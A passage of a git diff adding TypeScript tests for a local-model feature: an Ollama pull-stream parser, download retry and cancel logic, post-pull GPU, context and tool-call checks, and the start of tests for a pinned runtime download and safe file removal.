6_200_000_000, totalBytes: 23_105_798_956, lines: 3 }); + parser.push(`${mlxLine(MODEL_BYTES)}\n{"status":"writing manifest"}\n{"status":"success"}\n`); + parser.end(); + expect(parser.snapshot()).toEqual({ + completedBytes: 23_105_798_956, + totalBytes: 23_105_798_956, + status: 'success', + succeeded: true, + lines: 6, + }); + }); + + it('reads the same stream whatever the size of the pieces, also across line breaks', () => { + const stream = + ['{"status":"pulling manifest"}', mlxLine(0), mlxLine(1_000), mlxLine(999_999_999), mlxLine(MODEL_BYTES)].join( + '\n' + ) + '\n{"status":"writing manifest"}\n{"status":"success"}\n'; + const whole = createPullParser(); + whole.push(stream); + whole.end(); + const expected = whole.snapshot(); + expect(expected).toMatchObject({ succeeded: true, completedBytes: MODEL_BYTES, lines: 7 }); + + for (const size of [1, 2, 3, 5, 7, 13, 64, 1000]) { + const parser = createPullParser(); + for (let at = 0; at < stream.length; at += size) parser.push(stream.slice(at, at + size)); + parser.end(); + expect(parser.snapshot(), `pieces of ${size}`).toEqual(expected); + } + // And as bytes, one at a time: what a socket may really deliver. + const bytes = new TextEncoder().encode(stream); + const parser = createPullParser(); + for (const byte of bytes) parser.push(Uint8Array.of(byte)); + parser.end(); + expect(parser.snapshot()).toEqual(expected); + }); + + it('survives a character of several bytes that is split between two pieces', () => { + const bytes = new TextEncoder().encode('{"status":"lädt Manifest ✓"}\n{"status":"success"}\n'); + for (let cut = 1; cut < bytes.length; cut++) { + const parser = createPullParser(); + parser.push(bytes.subarray(0, cut)); + parser.push(bytes.subarray(cut)); + parser.end(); + expect(parser.snapshot(), `cut at ${cut}`).toMatchObject({ succeeded: true, lines: 2 }); + } + const parser = createPullParser(); + parser.push(bytes.subarray(0, 14)); + parser.push(bytes.subarray(14)); + expect(parser.snapshot().lines).toBe(2); + }); + + it('adds up the layers of a GGUF build, each announced without "completed" first', () => { + const parser = createPullParser(); + const big = { status: 'pulling c5396e06af29', digest: 'sha256:c5396e06af29aaaa', total: 397_807_936 }; + const small = { status: 'pulling 66b9ea09bd5b', digest: 'sha256:66b9ea09bd5bbbbb', total: 68 }; + parser.push(`${JSON.stringify(big)}\n`); + // Known, nothing downloaded yet. + expect(parser.snapshot()).toMatchObject({ totalBytes: 397_807_936, completedBytes: 0 }); + parser.push(`${JSON.stringify({ ...big, completed: 100_000_000 })}\n`); + parser.push(`${JSON.stringify(small)}\n`); + // The total grows when a new layer appears; a line without "completed" keeps what was seen. + parser.push(`${JSON.stringify(big)}\n`); + expect(parser.snapshot()).toMatchObject({ totalBytes: 397_808_004, completedBytes: 100_000_000 }); + parser.push(`${JSON.stringify({ ...big, completed: 397_807_936 })}\n`); + parser.push(`${JSON.stringify({ ...small, completed: 68 })}\n`); + parser.push('{"status":"verifying sha256 digest"}\n{"status":"writing manifest"}\n{"status":"success"}\n'); + expect(parser.snapshot()).toEqual({ + completedBytes: 397_808_004, + totalBytes: 397_808_004, + status: 'success', + succeeded: true, + lines: 9, + }); + }); + + it('reads a resumed pull from where it starts, not from zero', () => { + const parser = createPullParser(); + parser.push(`{"status":"pulling manifest"}\n${mlxLine(11_000_000_000)}\n`); + expect(parser.snapshot()).toMatchObject({ completedBytes: 11_000_000_000, totalBytes: MODEL_BYTES }); + }); + + it('keeps the text of an error line, the real one included', () => { + const parser = createPullParser(); + parser.push(`{"status":"pulling manifest"}\n${mlxLine(5)}\n${REAL_PULL_ERROR_LINE}\n`); + parser.end(); + expect(parser.snapshot()).toEqual({ + completedBytes: 5, + totalBytes: MODEL_BYTES, + status: 'pulling model', + succeeded: false, + error: 'max retries exceeded: local error: tls: bad record MAC', + lines: 3, + }); + // The first error stays. + parser.push('{"error":"another"}\n'); + expect(parser.snapshot().error).toBe('max retries exceeded: local error: tls: bad record MAC'); + }); + + it('reads a last line that has no line break only when the body ends', () => { + const parser = createPullParser(); + parser.push('{"status":"success"}'); + expect(parser.snapshot()).toMatchObject({ succeeded: false, lines: 0 }); + parser.end(); + expect(parser.snapshot()).toMatchObject({ succeeded: true, lines: 1 }); + }); + + it('skips a line that is not JSON and still counts it; a blank line is no line', () => { + const parser = createPullParser(); + parser.push('not json\n\n \n[1,2]\n"text"\nnull\n{"status":"success"}\n'); + expect(parser.snapshot()).toEqual({ + completedBytes: 0, + totalBytes: 0, + status: 'success', + succeeded: true, + lines: 5, + }); + }); + + it('never lets "completed" pass "total", and ignores sizes that are no byte counts', () => { + const parser = createPullParser(); + parser.push('{"status":"pulling a","digest":"sha256:a","total":100,"completed":250}\n'); + parser.push('{"status":"pulling b","digest":"sha256:b","total":-5,"completed":1}\n'); + parser.push('{"status":"pulling c","digest":"sha256:c","total":"100","completed":1}\n'); + expect(parser.snapshot()).toMatchObject({ completedBytes: 100, totalBytes: 100 }); + }); + + it('keeps no line: a million progress lines leave it as small as ten', () => { + // What it holds is one entry per layer and the unfinished line. Proven by its answers: the + // totals are those of the LAST line of each layer, and the count is every line. + const parser = createPullParser(); + const lines = 200_000; + let block = ''; + for (let i = 1; i <= lines; i++) { + block += `${mlxLine(i * 1000)}\n`; + if (i % 5000 === 0) { + parser.push(block); + block = ''; + } + } + parser.end(); + expect(parser.snapshot()).toEqual({ + completedBytes: lines * 1000, + totalBytes: MODEL_BYTES, + status: 'pulling model', + succeeded: false, + lines, + }); + }); + + it('drops a "line" that never ends instead of buffering it', () => { + const parser = createPullParser(); + // Three megabytes without a line break, then the stream goes on normally. + for (let i = 0; i < 3; i++) parser.push('x'.repeat(1024 * 1024)); + parser.push('tail of the endless line\n{"status":"success"}\n'); + expect(parser.snapshot()).toMatchObject({ succeeded: true, lines: 2 }); + }); +}); + +// ---------- 3. pullModel ---------- + +describe('pullModel', () => { + it('pulls the model and reports the total of the pull itself', async () => { + const { fake: server, target } = await runtime(); + const seen: PullProgress[] = []; + const result = await pullModel(target, MODEL, { onProgress: (progress) => seen.push(progress) }); + expect(result).toEqual({ ok: true, totalBytes: 23_105_798_956 }); + expect(server.state.installed).toBe(true); + expect(server.requests.filter((r) => r.path === '/api/pull')).toEqual([ + expect.objectContaining({ method: 'POST', body: { model: MODEL, stream: true } }), + ]); + // The last report is the finished pull, and no report runs backwards. + expect(seen.at(-1)).toMatchObject({ completedBytes: MODEL_BYTES, totalBytes: MODEL_BYTES }); + for (let i = 1; i < seen.length; i++) { + expect(seen[i].completedBytes).toBeGreaterThanOrEqual(seen[i - 1].completedBytes); + } + for (const progress of seen) expect(progress.totalBytes).toBe(MODEL_BYTES); + }); + + it('adds up the layers of a GGUF pull to the same total', async () => { + const { target } = await runtime({ pull: { shape: 'gguf', progressLines: 6 } }); + expect(await pullModel(target, MODEL)).toEqual({ ok: true, totalBytes: MODEL_BYTES }); + }); + + it('reports a speed from the clock it is given', async () => { + const { target } = await runtime({ pull: { progressLines: 8, lineDelayMs: 5 } }); + const seen: PullProgress[] = []; + let clock = 0; + const result = await pullModel(target, MODEL, { + onProgress: (progress) => seen.push(progress), + // One second passes between two looks at the clock. + now: () => (clock += 1000), + }); + expect(result.ok).toBe(true); + const speeds = seen.flatMap((progress) => (progress.bytesPerSecond === undefined ? [] : [progress.bytesPerSecond])); + expect(speeds.length).toBeGreaterThan(0); + for (const speed of speeds) { + expect(Number.isInteger(speed)).toBe(true); + expect(speed).toBeGreaterThanOrEqual(0); + } + // The first report has nothing to compare with. + expect(seen[0].bytesPerSecond).toBeUndefined(); + expect(Math.max(...speeds)).toBeGreaterThan(0); + }); + + it('starts again after an error line, and the new pull continues where the last one stopped', async () => { + const { fake: server, target } = await runtime({ + pull: { fail: 'error-line', failTimes: 2, failAfterLines: 10, progressLines: 20 }, + }); + const waits: number[] = []; + const firstOfEachPull: number[] = []; + let last = -1; + const result = await pullModel(target, MODEL, { + sleep: async (ms) => { + waits.push(ms); + last = -1; + }, + onProgress: (progress) => { + if (last === -1) firstOfEachPull.push(progress.completedBytes); + last = progress.completedBytes; + }, + }); + expect(result).toEqual({ ok: true, totalBytes: MODEL_BYTES }); + // Two failures, then the one that succeeded. + expect(server.state.pulls).toBe(3); + // It waits before each retry, longer every time. + expect(waits).toEqual([1000, 2000]); + // The second and third pull do not start at zero. + expect(firstOfEachPull).toHaveLength(3); + expect(firstOfEachPull[1]).toBeGreaterThan(0); + expect(firstOfEachPull[2]).toBeGreaterThan(firstOfEachPull[1]); + }); + + it('starts again after a stream that was cut without a word', async () => { + const { fake: server, target } = await runtime({ pull: { fail: 'cut', failTimes: 1 } }); + expect(await pullModel(target, MODEL, { sleep: noSleep })).toEqual({ ok: true, totalBytes: MODEL_BYTES }); + expect(server.state.pulls).toBe(2); + }); + + it('gives up after 5 retries, with the error the runtime gave', async () => { + expect(PULL_RETRIES).toBe(5); + const { fake: server, target } = await runtime({ pull: { fail: 'error-line' } }); + const waits: number[] = []; + const result = await pullModel(target, MODEL, { sleep: async (ms) => void waits.push(ms) }); + expect(result).toEqual({ + ok: false, + code: 'pull-failed', + detail: 'max retries exceeded: local error: tls: bad record MAC', + }); + // The first pull and five more. + expect(server.state.pulls).toBe(6); + expect(waits).toEqual([1000, 2000, 4000, 8000, 16000]); + expect(server.state.installed).toBe(false); + }); + + it('gives up on a stream that is cut every time, and says that it ended early', async () => { + const { fake: server, target } = await runtime({ pull: { fail: 'cut' } }); + const result = await pullModel(target, MODEL, { sleep: noSleep, retries: 2 }); + expect(result).toMatchObject({ ok: false, code: 'pull-failed' }); + expect((result as { detail?: string }).detail).toBeTruthy(); + expect(server.state.pulls).toBe(3); + }); + + it('does not retry when 0 retries are asked for, and falls back to 5 for a nonsense count', async () => { + const { fake: server, target } = await runtime({ pull: { fail: 'error-line' } }); + expect(await pullModel(target, MODEL, { sleep: noSleep, retries: 0 })).toMatchObject({ code: 'pull-failed' }); + expect(server.state.pulls).toBe(1); + await pullModel(target, MODEL, { sleep: noSleep, retries: -3 }); + expect(server.state.pulls).toBe(1 + 6); + }); + + it('does not ask again for a model the registry does not have', async () => { + const { fake: server, target } = await runtime({ pull: { fail: 'not-found' } }); + const result = await pullModel(target, MODEL, { sleep: noSleep }); + expect(result).toEqual({ + ok: false, + code: 'model-not-found', + detail: 'pull model manifest: file does not exist', + }); + expect(server.state.pulls).toBe(1); + }); + + it('does not ask again when the disk is full', async () => { + const target: OllamaTarget = { + baseUrl: 'http://127.0.0.1:1', + fetch: async () => + new Response( + '{"status":"pulling manifest"}\n{"error":"write /models/blobs/sha256-abc-partial: no space left on device"}\n', + { status: 200 } + ), + }; + let asked = 0; + const counting: OllamaTarget = { + ...target, + fetch: (...args) => { + asked += 1; + return (target.fetch as typeof fetch)(...args); + }, + }; + expect(await pullModel(counting, MODEL, { sleep: noSleep })).toMatchObject({ ok: false, code: 'disk-full' }); + expect(asked).toBe(1); + }); + + it('retries, then fails, when no runtime answers at all', async () => { + const waits: number[] = []; + const result = await pullModel(await deadTarget(), MODEL, { sleep: async (ms) => void waits.push(ms), retries: 2 }); + expect(result).toMatchObject({ ok: false, code: 'pull-failed' }); + expect(waits).toHaveLength(2); + }); + + it('continues a pull that an earlier run left unfinished', async () => { + const { target } = await runtime({ pull: { resumeFrom: 11_000_000_000 } }); + const seen: number[] = []; + const result = await pullModel(target, MODEL, { onProgress: (progress) => seen.push(progress.completedBytes) }); + expect(result).toEqual({ ok: true, totalBytes: MODEL_BYTES }); + // The first figure the window shows is where the earlier run stopped. + expect(seen[0]).toBeGreaterThanOrEqual(11_000_000_000); + }); + + it('reports the size of a model that was complete already, when the pull names no layer', async () => { + // A runtime that answers "success" at once: the size is what it lists for the model. + const { fake: server } = await runtime({ installed: true }); + const target: OllamaTarget = { + baseUrl: server.baseUrl, + fetch: async (input, init) => + String(input).endsWith('/api/pull') + ? new Response('{"status":"pulling manifest"}\n{"status":"success"}\n', { status: 200 }) + : fetch(input, init), + }; + expect(await pullModel(target, MODEL)).toEqual({ ok: true, totalBytes: MODEL_BYTES }); + }); + + it('stops the download when the caller cancels, and does not start again', async () => { + const { fake: server, target } = await runtime({ pull: { progressLines: 200, lineDelayMs: 10 } }); + const controller = new AbortController(); + const seen: PullProgress[] = []; + const result = await pullModel(target, MODEL, { + signal: controller.signal, + sleep: noSleep, + onProgress: (progress) => { + seen.push(progress); + controller.abort(); + }, + }); + expect(result).toEqual({ ok: false, code: 'cancelled' }); + expect(seen).toHaveLength(1); + expect(server.state.pulls).toBe(1); + expect(server.state.installed).toBe(false); + // Pulling again is the resume: it starts where the cancelled one stopped. + server.switches.pull.lineDelayMs = 0; + const again: number[] = []; + expect(await pullModel(target, MODEL, { onProgress: (p) => again.push(p.completedBytes) })).toEqual({ + ok: true, + totalBytes: MODEL_BYTES, + }); + expect(again[0]).toBeGreaterThan(0); + }); + + it('answers cancelled at once for a signal that is already aborted', async () => { + const { fake: server, target } = await runtime(); + const controller = new AbortController(); + controller.abort(); + expect(await pullModel(target, MODEL, { signal: controller.signal })).toEqual({ ok: false, code: 'cancelled' }); + expect(server.state.pulls).toBe(0); + }); + + it('calls a cancel a cancel also on its last try, never a failed download', async () => { + // With no retry left, the cut stream of an abort must not read as "the download keeps stopping". + const { fake: server, target } = await runtime({ pull: { progressLines: 200, lineDelayMs: 10 } }); + const controller = new AbortController(); + const result = await pullModel(target, MODEL, { + signal: controller.signal, + retries: 0, + onProgress: () => controller.abort(), + }); + expect(result).toEqual({ ok: false, code: 'cancelled' }); + expect(server.state.pulls).toBe(1); + }); + + it('does not let a progress callback that throws fail the download', async () => { + const { fake: server, target } = await runtime(); + let called = 0; + const result = await pullModel(target, MODEL, { + sleep: noSleep, + onProgress: () => { + called += 1; + throw new Error('the window is gone'); + }, + }); + expect(called).toBeGreaterThan(0); + expect(result).toEqual({ ok: true, totalBytes: MODEL_BYTES }); + expect(server.state.pulls).toBe(1); + }); + + it('answers with a result, not an exception, when its own clock throws', async () => { + const { target } = await runtime(); + const result = await pullModel(target, MODEL, { + sleep: noSleep, + retries: 1, + onProgress: () => undefined, + now: () => { + throw new Error('no clock'); + }, + }); + expect(result).toEqual({ ok: false, code: 'pull-failed', detail: 'no clock' }); + }); +}); + +// ---------- 4. The check after the pull ---------- + +describe('the probe requests', () => { + it('builds a tiny chat with reasoning off', () => { + expect(buildChatProbeRequest(MODEL)).toEqual({ + model: MODEL, + messages: [{ role: 'user', content: 'Reply with the single word: ready' }], + reasoning_effort: 'none', + max_tokens: 16, + temperature: 0, + stream: false, + }); + expect(buildChatProbeRequest(MODEL)).not.toHaveProperty('tools'); + }); + + it('builds a tool probe with a tools array, reasoning off and 1024 tokens', () => { + expect(TOOL_PROBE_MAX_TOKENS).toBe(1024); + const request = buildToolProbeRequest(MODEL) as { + model: string; + messages: { role: string; content: string }[]; + tools: { type: string; function: { name: string; parameters: { type: string; required: string[] } } }[]; + reasoning_effort: string; + max_tokens: number; + stream: boolean; + }; + expect(request.model).toBe(MODEL); + expect(request.reasoning_effort).toBe('none'); + expect(request.max_tokens).toBe(1024); + expect(request.stream).toBe(false); + expect(request.tools.map((tool) => [tool.type, tool.function.name])).toEqual([ + ['function', 'read_file'], + ['function', 'write_file'], + ['function', 'run_command'], + ]); + for (const tool of request.tools) { + expect(tool.function.parameters.type).toBe('object'); + expect(tool.function.parameters.required.length).toBeGreaterThan(0); + } + // The task can only be done with a tool. + expect(request.messages.at(-1)).toEqual({ + role: 'user', + content: 'Read the file README.md and tell me what it says.', + }); + // Nothing forces the call: the model has to decide to make it. + expect(request).not.toHaveProperty('tool_choice'); + }); +}); + +describe('judgeLoaded', () => { + const loaded = (overrides: Partial<OllamaPsModel> = {}): OllamaPsModel => ({ + name: MODEL, + size: 23_205_798_956, + sizeVram: 23_205_798_956, + contextLength: CONTEXT, + ...overrides, + }); + + it('passes a model that is all on the GPU at the chosen context', () => { + expect(judgeLoaded([loaded()], MODEL, CONTEXT)).toEqual({ + ok: true, + loaded: { context: 131072, sizeBytes: 23_205_798_956, sizeVramBytes: 23_205_798_956 }, + }); + // Another loaded model beside it does not matter. + expect(judgeLoaded([loaded({ name: 'other:1', contextLength: 4096 }), loaded()], MODEL, CONTEXT).ok).toBe(true); + }); + + it('answers load-failed when the model is not listed', () => { + expect(judgeLoaded([], MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'load-failed' }); + expect(judgeLoaded([loaded({ name: 'other:1' })], MODEL, CONTEXT)).toMatchObject({ + ok: false, + code: 'load-failed', + }); + expect(judgeLoaded([loaded({ size: 0, sizeVram: 0 })], MODEL, CONTEXT)).toMatchObject({ + ok: false, + code: 'load-failed', + }); + }); + + it('answers does-not-fit when part of the model is not on the GPU', () => { + const judged = judgeLoaded([loaded({ sizeVram: 20_000_000_000 })], MODEL, CONTEXT); + expect(judged).toEqual({ + ok: false, + code: 'does-not-fit', + detail: '20000000000 of 23205798956 bytes are on the GPU', + }); + // One byte is enough. + expect(judgeLoaded([loaded({ sizeVram: 23_205_798_955 })], MODEL, CONTEXT)).toMatchObject({ code: 'does-not-fit' }); + expect(judgeLoaded([loaded({ sizeVram: 0 })], MODEL, CONTEXT)).toMatchObject({ code: 'does-not-fit' }); + }); + + it('answers context-not-applied when the runtime loaded another context', () => { + expect(judgeLoaded([loaded({ contextLength: 32768 })], MODEL, CONTEXT)).toEqual({ + ok: false, + code: 'context-not-applied', + detail: 'The runtime reports a context of 32768 tokens, not 131072', + }); + // A larger one is not the chosen one either. + expect(judgeLoaded([loaded({ contextLength: 262144 })], MODEL, CONTEXT)).toMatchObject({ + code: 'context-not-applied', + }); + }); + + it('looks at the GPU before the context', () => { + expect(judgeLoaded([loaded({ sizeVram: 1, contextLength: 4096 })], MODEL, CONTEXT)).toMatchObject({ + code: 'does-not-fit', + }); + }); +}); + +describe('judgeToolProbe', () => { + /** An answer of `/v1/chat/completions` with this message and finish reason. */ + const answer = (message: Record<string, unknown>, finishReason: string): unknown => ({ + id: 'chatcmpl-1', + object: 'chat.completion', + choices: [{ index: 0, message: { role: 'assistant', ...message }, finish_reason: finishReason }], + }); + const call = (argumentsValue: unknown, name: unknown = 'read_file'): Record<string, unknown> => ({ + id: 'call_1', + index: 0, + type: 'function', + function: { name, arguments: argumentsValue }, + }); + + it('passes on a tool call whose arguments parse as a JSON object', () => { + expect( + judgeToolProbe(200, answer({ content: '', tool_calls: [call('{"path":"README.md"}')] }, 'tool_calls')) + ).toEqual({ ok: true }); + // Arguments that are an object already, and an empty object, are arguments too. + expect(judgeToolProbe(200, answer({ tool_calls: [call({ path: 'README.md' })] }, 'tool_calls'))).toEqual({ + ok: true, + }); + expect(judgeToolProbe(200, answer({ tool_calls: [call('{}')] }, 'tool_calls'))).toEqual({ ok: true }); + // The finish reason is not what decides: the call is. + expect(judgeToolProbe(200, answer({ tool_calls: [call('{"path":"a"}')] }, 'stop'))).toEqual({ ok: true }); + }); + + it('answers no-tool-call for an answer in plain text', () => { + expect(judgeToolProbe(200, answer({ content: 'I would read the file, but I cannot.' }, 'stop'))).toEqual({ + ok: false, + code: 'no-tool-call', + detail: 'The model answered in text: I would read the file, but I cannot.', + }); + expect(judgeToolProbe(200, answer({ content: '', tool_calls: [] }, 'stop'))).toMatchObject({ + ok: false, + code: 'no-tool-call', + }); + }); + + it('answers no-tool-call for a tool call whose arguments are not a JSON object', () => { + for (const bad of ['{"path": ', 'README.md', '"README.md"', '[1]', 'null', '', 42, null, undefined]) { + expect(judgeToolProbe(200, answer({ tool_calls: [call(bad)] }, 'tool_calls')), JSON.stringify(bad)).toMatchObject( + { + ok: false, + code: 'no-tool-call', + } + ); + } + // A call without a name, and one good call beside a broken one. + expect(judgeToolProbe(200, answer({ tool_calls: [call('{}', '')] }, 'tool_calls'))).toMatchObject({ + code: 'no-tool-call', + }); + expect( + judgeToolProbe(200, answer({ tool_calls: [call('{"path":"a"}'), call('{"path": ')] }, 'tool_calls')) + ).toMatchObject({ code: 'no-tool-call' }); + expect(judgeToolProbe(200, answer({ tool_calls: ['read_file'] }, 'tool_calls'))).toMatchObject({ + code: 'no-tool-call', + }); + }); + + it('answers probe-unfinished when the token limit ended the answer: that proves nothing', () => { + expect( + judgeToolProbe(200, answer({ content: '', reasoning: 'The user wants me to read a file. I should' }, 'length')) + ).toEqual({ ok: false, code: 'probe-unfinished', detail: 'The answer ended at 1024 tokens' }); + }); + + it('answers load-failed for any other status, with what the runtime said', () => { + expect(judgeToolProbe(500, { error: { message: 'llm server error: out of memory' } })).toEqual({ + ok: false, + code: 'load-failed', + detail: 'llm server error: out of memory', + }); + expect(judgeToolProbe(404, { error: "model 'x' not found" })).toMatchObject({ + code: 'load-failed', + detail: "model 'x' not found", + }); + expect(judgeToolProbe(502, undefined)).toEqual({ + ok: false, + code: 'load-failed', + detail: 'The runtime answered 502', + }); + }); + + it('answers no-tool-call for a 200 it cannot read at all', () => { + for (const body of [undefined, null, 'text', [], {}, { choices: [] }, { choices: [null] }, { choices: [{}] }]) { + expect(judgeToolProbe(200, body), JSON.stringify(body)).toEqual({ + ok: false, + code: 'no-tool-call', + detail: 'The answer holds no tool call', + }); + } + }); +}); + +describe('verifyModel', () => { + it('passes a model that loads, sits on the GPU at the chosen context and calls a tool', async () => { + const { fake: server, target } = await runtime({ installed: true }); + expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({ + ok: true, + loaded: { context: 131072, sizeBytes: 23_205_798_956, sizeVramBytes: 23_205_798_956 }, + }); + // In this order: the chat that loads it, the process list, the tool probe. + expect(server.requests.map((r) => `${r.method} ${r.path}`)).toEqual([ + 'POST /v1/chat/completions', + 'GET /api/ps', + 'POST /v1/chat/completions', + ]); + const [chat, , probe] = server.requests.map((r) => r.body as Record<string, unknown>); + expect(chat).toEqual(buildChatProbeRequest(MODEL)); + expect(chat).toMatchObject({ reasoning_effort: 'none' }); + expect(chat).not.toHaveProperty('tools'); + expect(probe).toEqual(buildToolProbeRequest(MODEL)); + expect(probe).toMatchObject({ reasoning_effort: 'none', max_tokens: 1024 }); + expect(Array.isArray(probe.tools)).toBe(true); + }); + + it('answers load-failed when the chat that loads the model fails, and asks nothing more', async () => { + const { fake: server, target } = await runtime({ installed: true, chat: 'error' }); + expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({ + ok: false, + code: 'load-failed', + detail: 'llm server error: out of memory', + }); + expect(server.requests).toHaveLength(1); + }); + + it('answers load-failed for a model that is not on disk', async () => { + const { target } = await runtime(); + expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'load-failed' }); + }); + + it('answers load-failed when no runtime answers', async () => { + expect(await verifyModel(await deadTarget(), MODEL, CONTEXT)).toEqual({ + ok: false, + code: 'load-failed', + detail: 'The runtime did not answer the first request', + }); + }); + + it('answers load-failed when the model is not in the process list after the chat', async () => { + const { fake: server, target } = await runtime({ installed: true, ps: { loaded: false } }); + expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'load-failed' }); + // The tool probe was not sent. + expect(server.requests.filter((r) => r.path === '/v1/chat/completions')).toHaveLength(1); + }); + + it('answers does-not-fit when part of the model is not on the GPU, before any tool probe', async () => { + const { fake: server, target } = await runtime({ installed: true, ps: { sizeVram: 18_000_000_000 } }); + expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({ + ok: false, + code: 'does-not-fit', + detail: '18000000000 of 23205798956 bytes are on the GPU', + }); + expect(server.requests.filter((r) => r.path === '/v1/chat/completions')).toHaveLength(1); + }); + + it('answers context-not-applied when the runtime loaded another context than the chosen one', async () => { + const { target } = await runtime({ installed: true, contextLength: 32768 }); + expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'context-not-applied' }); + // The same runtime passes when 32768 is what was chosen. + expect(await verifyModel(target, MODEL, 32768)).toMatchObject({ ok: true, loaded: { context: 32768 } }); + }); + + it('answers no-tool-call when the model answers the tool probe in text', async () => { + const { target } = await runtime({ installed: true, tool: 'none' }); + expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({ + ok: false, + code: 'no-tool-call', + detail: 'The model answered in text: I would read the file, but I cannot.', + }); + }); + + it('answers no-tool-call when the arguments of the tool call do not parse', async () => { + const { target } = await runtime({ installed: true, tool: 'bad-arguments' }); + expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'no-tool-call' }); + }); + + it('answers probe-unfinished, not no-tool-call, when the token limit ended the answer', async () => { + const { target } = await runtime({ installed: true, tool: 'length' }); + expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'probe-unfinished' }); + }); + + it('answers cancelled for an aborted signal, at whatever point it is noticed', async () => { + const { fake: server, target } = await runtime({ installed: true }); + const before = new AbortController(); + before.abort(); + expect(await verifyModel(target, MODEL, CONTEXT, before.signal)).toEqual({ ok: false, code: 'cancelled' }); + expect(server.requests).toHaveLength(0); + + // Aborted while the first request is on its way. + const during = new AbortController(); + const slow: OllamaTarget = { + baseUrl: server.baseUrl, + fetch: async (input, init) => { + during.abort(); + return fetch(input, init); + }, + }; + expect(await verifyModel(slow, MODEL, CONTEXT, during.signal)).toEqual({ ok: false, code: 'cancelled' }); + }); + + it('never throws, whatever the runtime sends back', async () => { + const answers = ['', 'not json', '[]', 'null', '{"choices":"x"}']; + for (const text of answers) { + const target: OllamaTarget = { + baseUrl: 'http://127.0.0.1:1', + fetch: async () => new Response(text, { status: 200 }), + }; + const result = await verifyModel(target, MODEL, CONTEXT); + // The chat was "answered", the process list lists nothing. + expect(result, text).toMatchObject({ ok: false, code: 'load-failed' }); + } + }); +}); diff --git a/test/local-model-runtime.test.ts b/test/local-model-runtime.test.ts new file mode 100644 index 00000000..26886e5b --- /dev/null +++ b/test/local-model-runtime.test.ts @@ -0,0 +1,982 @@ +/** + * @fileoverview Tests for src/local-model/runtime.ts, everything but the supervisor (that is + * test/local-model-supervisor.test.ts): the pin, the budget line, the child's environment, + * the download with its hash, the port, and the removal. + * + * Pinned: + * - The pin is the reviewed constant, and a test never reaches it: the default `fetch` + * refuses under vitest. + * - The budget parser reads the REAL log line of both test Macs and no other line. + * - The environment is an allowlist: no `CODEMAN_PASSWORD`, none of the user's own + * `OLLAMA_*`, nothing that is not named. + * - The download: a matching hash unpacks, a wrong hash deletes the file and unpacks + * NOTHING, a cut body is continued with `Range`, the retries are capped, a body longer + * than the pin is refused, Cancel keeps the partial file for the next run. + * - The port is chosen by binding. + * - The removal deletes only inside the one folder and follows no symlink out of it. + * + * Port: none fixed (the fake runtime listens on 0; the port tests bind 0 and read the port). + */ + +import { execFile } from 'node:child_process'; +import { createHash, randomBytes } from 'node:crypto'; +import { existsSync } from 'node:fs'; +import { mkdir, mkdtemp, readFile, rm, stat, symlink, writeFile } from 'node:fs/promises'; +import { createServer, type AddressInfo, type Server } from 'node:net'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { promisify } from 'node:util'; +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import { localModelPaths, type LocalModelPaths } from '../src/local-model/paths.js'; +import { + chooseRuntimePort, + ensureRuntimeInstalled, + isLoopbackPortFree, + isOwnRuntimeCommand, + isRuntimeInstalled, + OLLAMA_RUNTIME_PIN, + parseInferenceComputeTotal, + removeLocalModelFiles, + RUNTIME_DOWNLOAD_RETRIES, + RUNTIME_KEEP_ALIVE, + RUNTIME_MAX_RESTARTS, + RUNTIME_PORT_FIRST, + RUNTIME_PORT_SPAN, + runtimeEnv, + type RuntimeDownloadProgress, +} from '../src/local-model/runtime.js'; +import type { LocalModelRuntimePin } from '../src/types.js'; +import { + buildFakeArchive, + fakeRuntimeLog, + INFERENCE_COMPUTE_LINE_MACBOOK, + MACBOOK_MEASURED_TOTAL_BYTES, + REAL_INFERENCE_COMPUTE_LINE_MAC_MINI, + REAL_VRAM_DEFAULT_CONTEXT_LINE_MAC_MINI, + startFakeOllama, + type FakeOllama, +} from './fixtures/fake-ollama.js'; + +const execFileAsync = promisify(execFile); + +let fake: FakeOllama | undefined; +let paths: LocalModelPaths; +const cleanup: string[] = []; + +beforeEach(() => { + // Under the temp HOME test/setup.ts gives this file. + paths = localModelPaths('0.40.15'); +}); + +afterEach(async () => { + await fake?.close(); + fake = undefined; + await rm(paths.root, { recursive: true, force: true }); + for (const dir of cleanup.splice(0)) await rm(dir, { recursive: true, force: true }); +}); + +/** A temp folder outside the local model folder, removed after the test. */ +async function outsideDir(): Promise<string> { + const dir = await mkdtemp(join(tmpdir(), 'local-model-outside-')); + cleanup.push(dir); + return dir; +} + +/** What `ensureRuntimeInstalled()` needs to reach the fake: the global `fetch`, and no waiting. */ +function deps(waits: number[] = []): { fetch: typeof fetch; sleep: (ms: number) => Promise<void> } { + return { + fetch, + sleep: async (ms) => { + waits.push(ms); + }, + }; +} + +/** The archive requests the fake saw, as the `Range` header of each (`undefined` without one). */ +function archiveRanges(server: FakeOllama): (string | undefined)[] { + return server.requests + .filter((request) => request.path === '/download/ollama-darwin.tgz') + .map((request) => request.headers.range as string | undefined); +} + +/** A fake whose archive is about 40 KB: a runtime script plus bytes that do not compress. */ +async function fakeWithLargeArchive(archive: FakeOllama['switches']['archive'] | object = {}): Promise<FakeOllama> { + fake = await startFakeOllama({ + archive, + archiveFiles: { ollama: '#!/bin/sh\necho "fake runtime"\n', 'lib/blob.bin': randomBytes(30_000).toString('hex') }, + }); + return fake; +} + +// ---------- The pin and the constants ---------- + +describe('the pin', () => { + it('is the reviewed build: version, address, size and hash', () => { + expect(OLLAMA_RUNTIME_PIN).toEqual({ + id: 'ollama', + version: '0.40.15', + url: 'https://github.com/ollama/ollama/releases/download/v0.40.15/ollama-darwin.tgz', + bytes: 185_971_671, + sha256: '607c79d5d6315ef9d896db83adde736a4c0057196329843544e79b95afb260a8', + unpackedBytes: 579_000_000, + minMacosMajor: 14, + }); + }); + + it('cannot be changed by code that holds it', () => { + 